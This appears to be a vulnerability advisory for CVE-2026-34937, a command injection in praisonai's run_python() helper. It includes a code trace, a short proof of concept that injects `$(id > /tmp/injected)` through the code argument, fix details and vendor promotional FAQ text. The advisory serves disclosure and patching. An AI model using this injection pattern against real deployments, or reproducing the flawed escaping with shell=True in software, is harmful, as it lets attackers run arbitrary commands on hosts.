CVE-2026-34937

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-34937 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.90); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34937? CVE-2026-34937 is a high-severity OS command injection vulnerability in praisonaiagents (pip), affecting versions <= 1.5.89. It is fixed in 1.5.90. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-34937? CVE-2026-34937 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonaiagents are affected by CVE-2026-34937? praisonaiagents (pip) versions <= 1.5.89 is affected.
4. Is there a fix for CVE-2026-34937? Yes. CVE-2026-34937 is fixed in 1.5.90. Upgrade to this version or later.
5. Is CVE-2026-34937 exploitable, and should I be worried? Whether CVE-2026-34937 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34937 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34937? Upgrade praisonaiagents to 1.5.90 or later.